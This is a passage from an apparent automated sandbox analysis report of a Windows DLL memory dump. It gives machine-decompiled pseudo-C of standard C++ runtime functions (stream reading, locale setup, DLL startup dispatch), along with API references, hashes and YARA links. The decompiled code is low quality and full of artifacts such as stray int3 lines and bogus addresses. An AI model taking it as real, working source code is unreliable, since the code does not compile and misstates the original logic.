												} else {
													goto L25;
												}
											} else {
												_t89 =  &_v48;
												if(_v28 < 0x10) {
													L30:
													_t92 =  *_t89;
													_v21 = _t92;
													_t163 = _t92 & 0x000000ff;
												} else {
													_t89 = _v48;
													if(_t89 != 0) {
														goto L30;
													} else {
														_v21 = _t89;
														__imp___errno();
														 *_t89 = 0x16;
														__imp___invalid_parameter_noinfo();
														_t163 = _v21 & 0x000000ff;
													}
												}
											}
										}
									}
									goto L26;
								}
								goto L25;
							}
							L26:
							_t142 = _v28;
							if(_t142 >= 0x10) {
								_t133 = _v48;
								_t143 = _t142 + 1;
								_t89 = _t133;
								if(_t143 < 0x1000) {
									L36:
									_push(_t143);
									E10008291(_t89, _t133);
								} else {
									_t133 =  *(_t133 - 4);
									_t143 = _t143 + 0x23;
									_t89 = _t89 - _t133 + 0xfffffffc;
									if(_t89 <= 0x1f) {
										goto L36;
									} else {
										__imp___invalid_parameter_noinfo_noreturn();
										goto L30;
									}
								}
							}
							_t87 = _t163;
						} else {
							_t83 = fgetc(_t85);
							if(_t83 == 0xffffffff) {
								goto L4;
							} else {
								_t87 = _t83 & 0x000000ff;
							}
						}
					} else {
						L4:
						_t87 = _t83 | 0xffffffff;
					}
				} else {
					_t152 =  *((intOrPtr*)(__ecx + 0x2c));
					_t170 =  *_t152;
					_t83 = _t170 + _t127;
					if(_t127 >= _t83) {
						goto L3;
					} else {
						 *_t152 = _t170 - 1;
						_t141 =  *(__ecx + 0x1c);
						_t153 =  *_t141;
						 *_t141 =  &(_t153[1]);
						_t87 =  *_t153 & 0x000000ff;
					}
				}
				 *[fs:0x0] = _v16;
				return E10008280(_t87, _v20 ^ _t171);
			}

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 100062FF

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: 5f0ceb414282d9fe15425837e3847d7753c10d4009ada5aef5e59bc6706ca13d
Instruction ID: ce9be1a78e4545a9ea44f8cf3697d3704bd6a632c903f411e46880ba92cf71eb
Opcode Fuzzy Hash: 5f0ceb414282d9fe15425837e3847d7753c10d4009ada5aef5e59bc6706ca13d
Instruction Fuzzy Hash: D9917031D04119DFEB14CFA8C894AEEB7F6FF49350F208269E815A7249D735A949CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10005C90, Relevance: 13.6, APIs: 9, Instructions: 119COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000002,1000556E,00000040,A8DDED82,?,?,?,000000FF,?,10001C11,1000556E,00000002,?,000000B0,A8DDED82), ref: 10005CD7
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXXZ.MSVCP140(?,?,?,?,?,10001C11,1000556E,00000002,?,000000B0,A8DDED82), ref: 10005CF4
_get_stream_buffer_pointers.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,?,?), ref: 10005D1C
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAPAD0PAH001@Z.MSVCP140(?,?,00000000,?,?,00000000), ref: 10005D36
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 10005D5C

Part of subcall function 10007640: ??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,A8DDED82,?,?,00000000,?,?,00000000,10009A21,000000FF,?,10005D70), ref: 10007672
Part of subcall function 10007640: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 1000768D
Part of subcall function 10007640: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 100076B1
Part of subcall function 10007640: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,00000000,?,?,00000000,10009A21,000000FF), ref: 100076D2
Part of subcall function 10007640: std::_Facet_Register.LIBCPMT ref: 100076EB
Part of subcall function 10007640: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 10007706

?always_noconv@codecvt_base@std@@QBE_NXZ.MSVCP140 ref: 10005D74
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXXZ.MSVCP140 ref: 10005D8C
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,A8DDED82,?,?,?,000000FF,?,10001C11,1000556E,00000002,?,000000B0,A8DDED82), ref: 10005DCC
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,A8DDED82,?,?,?,000000FF,?,10001C11,1000556E,00000002,?,000000B0,A8DDED82), ref: 10005DD6

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: D@std@@@std@@U?$char_traits@$Init@?$basic_streambuf@$Lockit@std@@$??0_??1_?always_noconv@codecvt_base@std@@?clear@?$basic_ios@?getloc@?$basic_streambuf@?setstate@?$basic_ios@Bid@locale@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@H001@Locimp@12@Mbstatet@@@std@@RegisterU_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@_get_stream_buffer_pointersstd::_
String ID:
API String ID: 1451330227-0
Opcode ID: 86bc4ef2d5dd72cada305ce05c527b86871744f405c944e83a4cb4b5af521631
Instruction ID: 47e502f8e444ff3f3d7bd4d00da1cb0a998ded576b74931b18031995935a8c33
Opcode Fuzzy Hash: 86bc4ef2d5dd72cada305ce05c527b86871744f405c944e83a4cb4b5af521631
Instruction Fuzzy Hash: 2B418070A00615DFEB20CF64C888BAFBBF8FB09755F10421EE90697794DB75A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10007D80, Relevance: 10.7, APIs: 7, Instructions: 169COMMON

Download Yara Rule

APIs

?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@XZ.MSVCP140(A8DDED82,10003B99,?,?), ref: 10007E3F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,A8DDED82,10003B99,?,?), ref: 10007E97
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAE_JPBD_J@Z.MSVCP140(?,?,00000000,?,A8DDED82,10003B99,?,?), ref: 10007EC0
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,?), ref: 10007EE7
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000004,00000000,?,?), ref: 10007F47
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?), ref: 10007F54
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,?), ref: 10007F63

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 1492985063-0
Opcode ID: d93cf880046a51808c4391800211d16ecc6c9839ddd884dfa9b8ed24ca78ceec
Instruction ID: 149a662e7ea717adf8ae1d303c12b7e36b83dc03c2c5c0b414576f7dd6e74783
Opcode Fuzzy Hash: d93cf880046a51808c4391800211d16ecc6c9839ddd884dfa9b8ed24ca78ceec
Instruction Fuzzy Hash: 72613374E01145CFEB10CF58C584B99BBF1FB49394F2581A9E909AB39AC739ED42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10007640, Relevance: 10.6, APIs: 7, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E10007640(void* __ebx, void* __ecx, void* __edi, int _a4, char _a8) {
				char _v8;
				signed int _v12;
				int _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				char _v44;
				signed int _v80;
				intOrPtr _v88;
				signed int _v100;
				intOrPtr _v108;
				intOrPtr _v116;
				signed int _v128;
				intOrPtr _v140;
				intOrPtr _v148;
				signed int _t124;
				signed int _t125;
				signed int _t127;
				intOrPtr _t128;
				void** _t131;
				signed int _t146;
				signed int _t148;
				unsigned int _t150;
				void* _t151;
				void* _t166;
				void* _t167;
				signed int _t169;
				signed int _t170;
				unsigned int _t172;
				void* _t173;
				void* _t189;
				void* _t190;
				signed int _t192;
				unsigned int _t194;
				void* _t195;
				void* _t205;
				void* _t206;
				signed int _t208;
				void* _t214;
				void* _t216;
				void* _t218;
				void* _t233;
				signed int _t241;
				void* _t243;
				signed int _t248;
				void* _t250;
				signed int _t255;
				signed int _t257;
				void* _t259;
				signed int _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				void* _t267;
				void* _t269;
				signed int _t272;
				void* _t274;
				signed int _t279;
				void* _t280;
				void* _t282;
				signed int _t285;
				void* _t286;
				void* _t288;
				void* _t290;
				intOrPtr _t293;
				intOrPtr _t294;
				signed int _t298;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t307;
				void* _t311;
				signed int _t312;
				void* _t313;
				void* _t314;
				void* _t317;
				void* _t318;
				void* _t319;
				void* _t320;
				void* _t321;
				void* _t322;

				_t318 = _t317 - 0x1c;
				_t124 =  *0x1000d004; // 0xa8dded82
				_t125 = _t124 ^ _t312;
				_v20 = _t125;
				 *[fs:0x0] =  &_v16;
				_t214 = __ecx;
				__imp__??0_Lockit@std@@QAE@H@Z(0, _t125, __edi, _t290, __ebx,  *[fs:0x0], E10009A21, 0xffffffff);
				_v8 = 0;
				_t127 =  *0x1000d5b8; // 0x0
				_v32 = _t127;
				__imp__??Bid@locale@std@@QAEIXZ();
				_t272 = _t127;
				_t128 =  *((intOrPtr*)(__ecx + 4));
				if(_t272 >=  *((intOrPtr*)(_t128 + 0xc))) {
					_t291 = 0;
					__eflags = 0;
					L4:
					if( *((char*)(_t128 + 0x14)) == 0) {
						L7:
						if(_t291 != 0) {
							goto L11;
						} else {
							goto L8;
						}
					} else {
						__imp__?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ();
						if(_t272 >=  *((intOrPtr*)(_t128 + 0xc))) {
							L8:
							_t291 = _v32;
							if(_t291 != 0) {
								goto L11;
							} else {
								_t131 =  &_v32;
								__imp__?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z(_t131, _t214);
								_t319 = _t318 + 8;
								_t337 = _t131 - 0xffffffff;
								if(_t131 == 0xffffffff) {
									_t233 =  &_v44;
									E10001110(_t233);
									_push(0x1000b810);
									_push(_t233);
									L10009233();
									asm("int3");
									_push(_t312);
									_t313 = _t319;
									_t320 = _t319 - 8;
									_push(_t214);
									_t216 = _t233;
									_push(_t291);
									_push(_t272);
									_t262 =  *(_t216 + 0x10);
									_v80 = _t262;
									__eflags = 0x7fffffff - _t262 - 1;
									if(0x7fffffff - _t262 < 1) {
										L10007BD0(0x7fffffff);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t313);
										_t314 = _t320;
										_t321 = _t320 - 0x10;
										_push(_t216);
										_push(_t291);
										_t293 = _v88;
										_t263 =  *0x8000000F;
										_v100 = _t263;
										_push(_t272);
										__eflags = 0x7fffffff - _t263 - _t293;
										if(0x7fffffff - _t263 < _t293) {
											L10007BD0(0x7fffffff);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t314);
											_t322 = _t321 - 0x10;
											_push(0x7fffffff);
											_t218 = 0x7fffffff;
											_v140 = _v108;
											_push(_t293);
											_t264 =  *0x8000000F;
											_t294 = _v116;
											_v128 = _t264;
											_push(_t272);
											__eflags = 0x7fffffff - _t264 - _t294;
											if(0x7fffffff - _t264 < _t294) {
												L10007BD0(0x7fffffff);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("xorps xmm0, xmm0");
												 *0x7fffffff = 0x1000a278;
												asm("movq [eax], xmm0");
												_t146 = _v148 + 4;
												__eflags = _t146;
												__imp____std_exception_copy(_t146, 0x80000003, _t294);
												 *0x7fffffff = 0x1000a720;
												return 0x7fffffff;
											} else {
												_t274 =  *0x80000013;
												_t148 = _t264 + _t294;
												_v24 = _t148;
												_t298 = _t148 | 0x0000000f;
												_v28 = _t274;
												__eflags = _t298 - 0x7fffffff;
												if(__eflags <= 0) {
													_t150 = _t274 >> 1;
													__eflags = _t274 - 0x7fffffff - _t150;
													if(__eflags <= 0) {
														_t151 = _t274 + _t150;
														__eflags = _t298 - _t151;
														_t299 =  <  ? _t151 : _t298;
													} else {
														_t299 = 0x7fffffff;
													}
												} else {
													_t299 = 0x7fffffff;
												}
												_t241 =  ~(0 | __eflags > 0x00000000) | _t299 + 0x00000001;
												__eflags = _t241 - 0x1000;
												if(_t241 < 0x1000) {
													__eflags = _t241;
													if(_t241 == 0) {
														_t274 = 0;
														__eflags = 0;
													} else {
														_push(_t241); // executed
														_t166 = E1000829F(_t264); // executed
														_t264 = _v20;
														_t322 = _t322 + 4;
														_t274 = _t166;
													}
													goto L65;
												} else {
													_t98 = _t241 + 0x23; // 0x23
													_t167 = _t98;
													__eflags = _t167 - _t241;
													_t168 =  <=  ? _t264 | 0xffffffff : _t167;
													_push( <=  ? _t264 | 0xffffffff : _t167);
													_t169 = E1000829F(_t264 | 0xffffffff);
													_t322 = _t322 + 4;
													__eflags = _t169;
													if(_t169 == 0) {
														L70:
														__imp___invalid_parameter_noinfo_noreturn();
														goto L71;
													} else {
														_t264 = _v20;
														_t100 = _t169 + 0x23; // 0x23
														_t274 = _t100 & 0xffffffe0;
														 *(_t274 - 4) = _t169;
														L65:
														 *((intOrPtr*)(_t218 + 0x10)) = _v24;
														 *(_t218 + 0x14) = _t299;
														_t299 = _t274 + _t264;
														_v24 = _t299;
														__eflags = _v28 - 0x10;
														_v20 = _t299 + _a4;
														_push(_t264);
														if(_v28 < 0x10) {
															L71:
															memcpy(_t274, _t218, ??);
															memcpy(_t299, _v32, _a4);
															 *_v20 = 0;
															 *_t218 = _t274;
															return _t218;
														} else {
															_t301 =  *_t218;
															memcpy(_t274, _t301, ??);
															memcpy(_v24, _v32, _a4);
															_t163 = _v20;
															_t322 = _t322 + 0x18;
															_t243 = _v28 + 1;
															 *_v20 = 0;
															__eflags = _t243 - 0x1000;
															if(_t243 < 0x1000) {
																L69:
																_push(_t243);
																E10008291(_t163, _t301); // executed
																 *_t218 = _t274;
																return _t218;
															} else {
																_t265 =  *(_t301 - 4);
																_t243 = _t243 + 0x23;
																_t299 = _t301 - _t265;
																_t117 = _t299 - 4; // 0x7ffffffb
																_t163 = _t117;
																__eflags = _t117 - 0x1f;
																if(_t117 > 0x1f) {
																	goto L70;
																} else {
																	_t301 = _t265;
																	goto L69;
																}
															}
														}
													}
												}
											}
										} else {
											_t170 = _t263 + _t293;
											_t303 =  *0x80000013;
											_v20 = _t170;
											_t279 = _t170 | 0x0000000f;
											_v24 = _t303;
											__eflags = _t279 - 0x7fffffff;
											if(__eflags <= 0) {
												_t172 = _t303 >> 1;
												__eflags = _t303 - 0x7fffffff - _t172;
												if(__eflags <= 0) {
													_t173 = _t303 + _t172;
													__eflags = _t279 - _t173;
													_t280 =  <  ? _t173 : _t279;
												} else {
													_t280 = 0x7fffffff;
												}
											} else {
												_t280 = 0x7fffffff;
											}
											_t248 =  ~(0 | __eflags > 0x00000000) | _t280 + 0x00000001;
											__eflags = _t248 - 0x1000;
											if(_t248 < 0x1000) {
												__eflags = _t248;
												if(_t248 == 0) {
													_t303 = 0;
													__eflags = 0;
												} else {
													_push(_t248);
													_t189 = E1000829F(_t263);
													_t263 = _v16;
													_t321 = _t321 + 4;
													_t303 = _t189;
												}
												goto L45;
											} else {
												_t62 = _t248 + 0x23; // 0x23
												_t190 = _t62;
												__eflags = _t190 - _t248;
												_t191 =  <=  ? _t263 | 0xffffffff : _t190;
												_push( <=  ? _t263 | 0xffffffff : _t190);
												_t192 = E1000829F(_t263 | 0xffffffff);
												_t321 = _t321 + 4;
												__eflags = _t192;
												if(_t192 == 0) {
													L50:
													__imp___invalid_parameter_noinfo_noreturn();
													goto L51;
												} else {
													_t263 = _v16;
													_t64 = _t192 + 0x23; // 0x23
													_t303 = _t64 & 0xffffffe0;
													 *(_t303 - 4) = _t192;
													L45:
													 *((intOrPtr*)(0x7fffffff + 0x10)) = _v20;
													_v16 = _a8;
													 *(0x7fffffff + 0x14) = _t280;
													_t280 = _t303 + _t263;
													_v28 = _t280;
													__eflags = _v24 - 0x10;
													_v20 = _t280 + _a4;
													_push(_t263);
													if(_v24 < 0x10) {
														L51:
														memcpy(_t303, 0x7fffffff, ??);
														memset(_t280, _v16, _a4);
														 *_v20 = 0;
														 *0x7fffffff = _t303;
														return 0x7fffffff;
													} else {
														_t282 =  *0x7fffffff;
														memcpy(_t303, _t282, ??);
														memset(_v28, _v16, _a4);
														_t186 = _v20;
														_t321 = _t321 + 0x18;
														_t250 = _v24 + 1;
														 *_v20 = 0;
														__eflags = _t250 - 0x1000;
														if(_t250 < 0x1000) {
															L49:
															_push(_t250);
															E10008291(_t186, _t282);
															 *0x7fffffff = _t303;
															return 0x7fffffff;
														} else {
															_t267 =  *(_t282 - 4);
															_t250 = _t250 + 0x23;
															_t280 = _t282 - _t267;
															_t83 = _t280 - 4; // 0x7ffffffb
															_t186 = _t83;
															__eflags = _t83 - 0x1f;
															if(_t83 > 0x1f) {
																goto L50;
															} else {
																_t282 = _t267;
																goto L49;
															}
														}
													}
												}
											}
										}
									} else {
										_t307 =  *(_t216 + 0x14);
										_t285 = _t262 + 0x00000001 | 0x0000000f;
										_v16 = _t307;
										__eflags = _t285 - 0x7fffffff;
										if(__eflags <= 0) {
											_t194 = _t307 >> 1;
											__eflags = _t307 - 0x7fffffff - _t194;
											if(__eflags <= 0) {
												_t195 = _t307 + _t194;
												__eflags = _t285 - _t195;
												_t286 =  <  ? _t195 : _t285;
											} else {
												_t286 = 0x7fffffff;
											}
										} else {
											_t286 = 0x7fffffff;
										}
										_t255 =  ~(0 | __eflags > 0x00000000) | _t286 + 0x00000001;
										__eflags = _t255 - 0x1000;
										if(_t255 < 0x1000) {
											__eflags = _t255;
											if(_t255 == 0) {
												_t307 = 0;
												__eflags = 0;
											} else {
												_push(_t255);
												_t205 = E1000829F(_t262);
												_t262 = _v12;
												_t320 = _t320 + 4;
												_t307 = _t205;
											}
											goto L25;
										} else {
											_t34 = _t255 + 0x23; // 0x23
											_t206 = _t34;
											__eflags = _t206 - _t255;
											_t207 =  <=  ? _t262 | 0xffffffff : _t206;
											_push( <=  ? _t262 | 0xffffffff : _t206);
											_t208 = E1000829F(_t262 | 0xffffffff);
											_t320 = _t320 + 4;
											__eflags = _t208;
											if(_t208 == 0) {
												L30:
												__imp___invalid_parameter_noinfo_noreturn();
												goto L31;
											} else {
												_t262 = _v12;
												_t36 = _t208 + 0x23; // 0x23
												_t307 = _t36 & 0xffffffe0;
												 *(_t307 - 4) = _t208;
												L25:
												__eflags = _v16 - 0x10;
												_t40 = _t262 + 1; // 0x1
												 *(_t216 + 0x14) = _t286;
												_t286 = _t307 + _t262;
												 *(_t216 + 0x10) = _t40;
												_v12 = _t286;
												_push(_t262);
												if(_v16 < 0x10) {
													L31:
													memcpy(_t307, _t216, ??);
													 *_t286 = _a8;
													 *(_t286 + 1) = 0;
													 *_t216 = _t307;
													return _t216;
												} else {
													_t288 =  *_t216;
													memcpy(_t307, _t288, ??);
													_t257 = _v12;
													_t320 = _t320 + 0xc;
													_t202 = _a8;
													 *_t257 = _a8;
													 *((char*)(_t257 + 1)) = 0;
													_t259 = _v16 + 1;
													__eflags = _t259 - 0x1000;
													if(_t259 < 0x1000) {
														L29:
														_push(_t259);
														E10008291(_t202, _t288);
														 *_t216 = _t307;
														return _t216;
													} else {
														_t269 =  *(_t288 - 4);
														_t259 = _t259 + 0x23;
														_t286 = _t288 - _t269;
														_t202 = _t286 - 4;
														__eflags = _t286 - 4 - 0x1f;
														if(_t286 - 4 > 0x1f) {
															goto L30;
														} else {
															_t288 = _t269;
															goto L29;
														}
													}
												}
											}
										}
									}
								} else {
									_t311 = _v32;
									_v28 = _t311;
									_v8 = 1;
									E10008240(_t337, _t311);
									 *((intOrPtr*)( *_t311 + 4))();
									_t291 = _v32;
									 *0x1000d5b8 = _v32;
									goto L11;
								}
							}
						} else {
							_t291 =  *((intOrPtr*)( *((intOrPtr*)(_t128 + 8)) + _t272 * 4));
							goto L7;
						}
					}
				} else {
					_t291 =  *((intOrPtr*)( *((intOrPtr*)(_t128 + 8)) + _t272 * 4));
					if(_t291 != 0) {
						L11:
						__imp__??1_Lockit@std@@QAE@XZ();
						 *[fs:0x0] = _v16;
						return E10008280(_t291, _v20 ^ _t312);
					} else {
						goto L4;
					}
				}
			}

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,A8DDED82,?,?,00000000,?,?,00000000,10009A21,000000FF,?,10005D70), ref: 10007672
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 1000768D
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 100076B1
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,00000000,?,?,00000000,10009A21,000000FF), ref: 100076D2
std::_Facet_Register.LIBCPMT ref: 100076EB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 10007706
_CxxThrowException.VCRUNTIME140(?,1000B810,?,?,?,?,00000000,10009A21,000000FF), ref: 1000773A

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@ExceptionFacet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterThrowV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 3546165850-0
Opcode ID: fb70a5e677d4a3890940cf179327730c32f7df3f2c1cc05fea3faeb4d570c49e
Instruction ID: d743c271905ac453317d5a555a43a96dcd747c60f8050910b1400442cf0ede87
Opcode Fuzzy Hash: fb70a5e677d4a3890940cf179327730c32f7df3f2c1cc05fea3faeb4d570c49e
Instruction Fuzzy Hash: E831A175D00528DFEB01DF98C888AAEBBB4FB047A0F054259E80AA7395D734AD40CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 10008ADF, Relevance: 9.1, APIs: 6, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E10008ADF(void* __edx, void* __edi, void* __esi) {
				intOrPtr _t29;
				intOrPtr* _t30;
				intOrPtr* _t40;
				intOrPtr* _t43;
				intOrPtr* _t49;
				intOrPtr _t58;
				intOrPtr* _t59;
				void* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;
				void* _t70;

				_t63 = __edx;
				E10009070(0x1000b738, 0xc);
				_t29 =  *0x1000d594; // 0x1
				if(_t29 <= 0) {
					L4:
					_t30 = 0;
					__eflags = 0;
					goto L5;
				} else {
					 *0x1000d594 = _t29 - 1;
					 *((char*)(_t70 - 0x1c)) = E10008336();
					 *(_t70 - 4) =  *(_t70 - 4) & 0x00000000;
					if( *0x1000d26c != 2) {
						E10008F4A(_t63, __edi, __esi, 7);
						asm("int3");
						E10009070(0x1000b758, 0x10);
						_t65 =  *((intOrPtr*)(_t70 + 0xc));
						__eflags = _t65;
						if(_t65 != 0) {
							L10:
							 *(_t70 - 4) =  *(_t70 - 4) & 0x00000000;
							__eflags = _t65 - 1;
							if(_t65 == 1) {
								L13:
								_t67 =  *0x1000a270; // 0x0
								_t58 =  *((intOrPtr*)(_t70 + 0x10));
								__eflags = _t67;
								if(_t67 != 0) {
									_t59 = _t67;
									 *0x1000a22c( *((intOrPtr*)(_t70 + 8)), _t65, _t58);
									_t68 =  *_t67();
									 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
									__eflags = _t68;
									if(_t68 != 0) {
										goto L16;
									}
								} else {
									 *((intOrPtr*)(_t70 - 0x1c)) = 1;
									L16:
									_t68 = E1000898F(_t59,  *((intOrPtr*)(_t70 + 8)), _t65, _t58);
									 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
									__eflags = _t68;
									if(_t68 != 0) {
										goto L17;
									}
								}
							} else {
								__eflags = _t65 - 2;
								if(_t65 == 2) {
									goto L13;
								} else {
									_t58 =  *((intOrPtr*)(_t70 + 0x10));
									L17:
									_push(_t58);
									_push(_t65);
									_push( *((intOrPtr*)(_t70 + 8)));
									_t43 = E100081B0();
									_t68 = _t43;
									 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
									__eflags = _t65 - 1;
									if(_t65 == 1) {
										__eflags = _t68;
										if(_t68 == 0) {
											_push(_t58);
											_push(_t43);
											_push( *((intOrPtr*)(_t70 + 8)));
											E100081B0();
											E1000898F(_t59,  *((intOrPtr*)(_t70 + 8)), _t68, _t58);
											_t49 =  *0x1000a270; // 0x0
											 *((intOrPtr*)(_t70 - 0x20)) = _t49;
											__eflags = _t49;
											if(_t49 != 0) {
												_t59 = _t49;
												 *0x1000a22c( *((intOrPtr*)(_t70 + 8)), _t68, _t58);
												 *((intOrPtr*)(_t70 - 0x20))();
											}
										}
									}
									__eflags = _t65;
									if(_t65 == 0) {
										L23:
										_t68 = E1000898F(_t59,  *((intOrPtr*)(_t70 + 8)), _t65, _t58);
										 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
										__eflags = _t68;
										if(_t68 != 0) {
											_t69 =  *0x1000a270; // 0x0
											__eflags = _t69;
											if(_t69 != 0) {
												 *0x1000a22c( *((intOrPtr*)(_t70 + 8)), _t65, _t58);
												_t68 =  *_t69();
											} else {
												_t68 = _t69 + 1;
											}
											 *((intOrPtr*)(_t70 - 0x1c)) = _t68;
										}
									} else {
										__eflags = _t65 - 3;
										if(_t65 == 3) {
											goto L23;
										}
									}
								}
							}
							 *(_t70 - 4) = 0xfffffffe;
							_t40 = _t68;
						} else {
							__eflags =  *0x1000d594 - _t65; // 0x1
							if(__eflags > 0) {
								goto L10;
							} else {
								_t40 = 0;
							}
						}
						return E100090B6(_t40);
					} else {
						E10009194(E10008401());
						E100091F5();
						 *0x1000d26c =  *0x1000d26c & 0x00000000;
						 *(_t70 - 4) = 0xfffffffe;
						E10008B46();
						if(E100085BB( *((intOrPtr*)(_t70 + 8)), 0) == 0) {
							goto L4;
						} else {
							_t30 = 1;
						}
						L5:
						return E100090B6(_t30);
					}
				}
			}

APIs

___scrt_fastfail.LIBCMT ref: 10008B5F

Part of subcall function 10008401: _execute_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(1000D250,10008B14,1000B738,0000000C,100089DD,?,?,10008BD4,?,00000001,?), ref: 1000840F

Part of subcall function 10009194: __std_type_info_destroy_list.VCRUNTIME140(1000D5A8,10008B19,1000B738,0000000C,100089DD,?,?,10008BD4,?,00000001,?), ref: 10009199

__RTC_Initialize.LIBCMT ref: 10008B19

Part of subcall function 10008B46: ___scrt_release_startup_lock.LIBCMT ref: 10008B4E

___scrt_uninitialize_crt.LIBCMT ref: 10008B36
dllmain_crt_dispatch.LIBCMT ref: 10008BCF
dllmain_crt_dispatch.LIBCMT ref: 10008C08
dllmain_crt_dispatch.LIBCMT ref: 10008C37

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: dllmain_crt_dispatch$Initialize___scrt_fastfail___scrt_release_startup_lock___scrt_uninitialize_crt__std_type_info_destroy_list_execute_onexit_table
String ID:
API String ID: 3605017288-0
Opcode ID: 4818e4731d132902c07a7c345c43b253cc5091203ad49e1c95424e27e6f6265a
Instruction ID: b72aa8c5792778c33e3dcb3a90c4439f41cc25be4f7a92f9f7f3db4a0e0dcf08
Opcode Fuzzy Hash: 4818e4731d132902c07a7c345c43b253cc5091203ad49e1c95424e27e6f6265a
Instruction Fuzzy Hash: 2241CE75A05626EBFB21EF248C45BAE3AB5FB457D0F014124F88467259CB31AF028BA0

Uniqueness

Uniqueness Score: -1.00%

Function 100089E2, Relevance: 9.1, APIs: 6, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E100089E2(void* __ecx, void* __edx, void* __edi) {
				void* _t37;
				char _t38;
				intOrPtr* _t43;
				intOrPtr* _t44;
				intOrPtr* _t54;
				intOrPtr* _t57;
				intOrPtr* _t63;
				intOrPtr* _t70;
				void* _t81;
				char _t83;
				intOrPtr _t84;
				void* _t85;
				intOrPtr* _t86;
